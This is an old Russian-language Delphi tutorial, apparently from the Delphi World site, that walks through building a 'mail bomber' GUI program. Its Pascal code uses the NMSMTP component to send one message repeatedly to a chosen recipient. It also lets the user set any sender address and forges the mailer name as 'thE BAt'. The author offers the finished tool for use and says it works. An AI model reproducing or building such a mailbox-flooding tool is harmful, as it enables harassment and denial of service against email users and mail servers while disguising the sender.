Delphi World - это проект, являющийся сборником статей и малодокументированных возможностей  по программированию в среде Delphi. Здесь вы найдёте работы по следующим категориям: delphi, delfi, borland, bds, дельфи, делфи, дэльфи, дэлфи, programming, example, программирование, исходные коды, code, исходники, source, sources, сорцы, сорсы, soft, programs, программы, and, how, delphiworld, базы данных, графика, игры, интернет, сети, компоненты, классы, мультимедиа, ос, железо, программа, интерфейс, рабочий стол, синтаксис, технологии, файловая система...
Программа для бомбардирования почтовых ящиков


Поймал мужик золотую рыбку.
- Загадывай желание, исполню.
- Хочу мира во всём мире.
- Не, это сложно...
- Ну, тогда пусть Винда не глючит.
- Слыш, мужик, а как насчёт мира во всём мире?

Седня мы напишем свой мылбомбер.... Желательно юзать делфю 5й версии, ну или на крайний случай 4ой. Итак, запускаем Делфи, новое приложение создается автоматически, при запуске. То, что ты сейчас видишь это всего навсего пустая форма, сейчас мы сделаем из нее мэйлбомбер.

Для начала займемся интерфэйсом. Размер формы можно изменять двумя способами: при помощи мыши и при помощи изменения в Object Inspector'е свойство формы Width (ширина) и Height (Высота). Для того, чтобы изменить свойства любого объекта, просто кликни на нем мышью и в Object Inspector'е на закладке Properties появяться нужные тебе свойства . Теперь меняй свойство формы Caption (заголовок) на что-нибудь типа 'МылБомбер'. Дальше нам нужно поместить на форму по 7 компонентов edit и label из закладки Standart. Метки расставь над Edit'ами. Выделяй 1ю метку и меняй ее свойство caption, и так для каждой метки. Нам нужны метки со следующими Caption'ами - "Хост', 'Порт', 'Логин', 'От', 'Кому', 'Тема' и 'Количество мессаг'. Так, теперь меняй свойства Text для Edit'ов на пустую строку, ну или на что хочешь :) Теперь добавь компоненты Button, Memo и еще одну метку из закладки Standart.Для Memo удали все строки из свойства Lines, для Button поменяй Caption на 'Послать', а для метки в Caption пиши 'Cлушаюсь и повинуюсь :)'. Осталось только добавить компонент MNSMTP из закладки FastNet и можно приступать к кодингу.

Теперь начинаем самое интересное - кодить :) Кликай два раза по кнопке 'Послать', появиться процеДУРА, которая будет выполняться при нажатии на кнопке. Эта процедура должна выглядить следующим образом:


procedure TForm1.Button1Click(Sender: TObject);
var
  {если, кто не знает, это объявление двух
  переменных I, NUM и J целого (integer) типа.}
  i, num, j: integer;
begin
  {Свойству компонента nmsmtp присваеваем значение Ложь,
  если бы мы этого не сделали, то все установки для PostMessage,
  после отправки письма (метод SendMail), стали бы пустыми и нам
  бы пришлось их устанваливать заново.
  (по умолчанию значение этого метода = true).}
  NMsmtp1.ClearParams := false;
  NMsmtp1.host := edit1.text; //устанавливаем имя хоста из edit1
  NMsmtp1.UserId := edit2.text; //идентификатор отправителя
  NMsmtp1.Port := strtoint(edit3.text); //Порт

  NMsmtp1.PostMessage.FromAddress := edit4.text; // Адрес отправителя =)
  NMsmtp1.PostMessage.FromName := edit4.text; // Имя отправителя
  {Добавить этот адресс к списку адрессов,
  по которым будет отправлено данное сообщение}
  NMsmtp1.PostMessage.ToAddress.Add(Edit6.text);
  //в свойство Body суем содерджимое Memo1
  NMsmtp1.PostMessage.body.Addstrings(Memo1.Lines);
  NMsmtp1.PostMessage.Subject := edit5.text; //Это тема письма
  NMsmtp1.PostMessage.LocalProgram := 'thE BAt'; //Имя проги отправителя

  NMsmtp1.Connect; //устанавливаем связь с серваком
  j := strtoint(edit7.text); //В переменную j заносим кол-во писем из edit7.text
  for I := 1 to j do {начало цикла}
  begin
    {фунция strtoint() переводит текстовую
    переменною в переменную типа integer}
    num := strtoint(edit7.text) - 1;
    edit7.text := inttostr(num); //думаю здесь понятно
    NMsmtp1.SendMail; //шлем почту
  end;
  NMsmtp1.Disconnect; //отсоединяемся от сервака
end;

Теперь пришло время поработать мышой, а то она уже заскучала :) Давай, буди своего грызуна и вперед. Для начала сохрани то, что ты написал(File->Save All)! Затем сворачивай окно, в котором ты писал код. Перед тобой опять наша форма. Кликни по компоненту mnsmtp1. Переходи в Object Inspector кликай по закладке Events (типа события). Видишь событие OnConnect - нам туда, кликай по пустой строке радом с нимдва раза, создасться очередная процедура. Пиши в ней:


procedure TForm1.NMSMTP1Connect(Sender: TObject);
begin
  Label8.caption := 'Устанавливаем связь...';
end;

Для события OnDisconnect пиши:


procedure TForm1.NMSMTP1Disconnect(Sender: TObject);
begin
  Label8.Caption := 'Дисконнект';
end;

Для события OnSendStart пиши:


procedure TForm1.NMSMTP1SendStart(Sender: TObject);
begin
  Label8.Caption := 'Посылка...';
end;

Если хочешь, можешь таким же способом обработать все события, главное ты понял суть( я надеюсь :)).

Ну вот и все. Осталось только откомпилить и твой МылБомбер готов :) Жми F9, если ошибок нету, то после компиляции твоя прога запуститься, а, если ошибки все-таки есть, то набивай код внимательней. У меня все работает. Юзай :)

Проект Delphi World © Выпуск 2002 - 2004
Автор проекта: ___Nikolay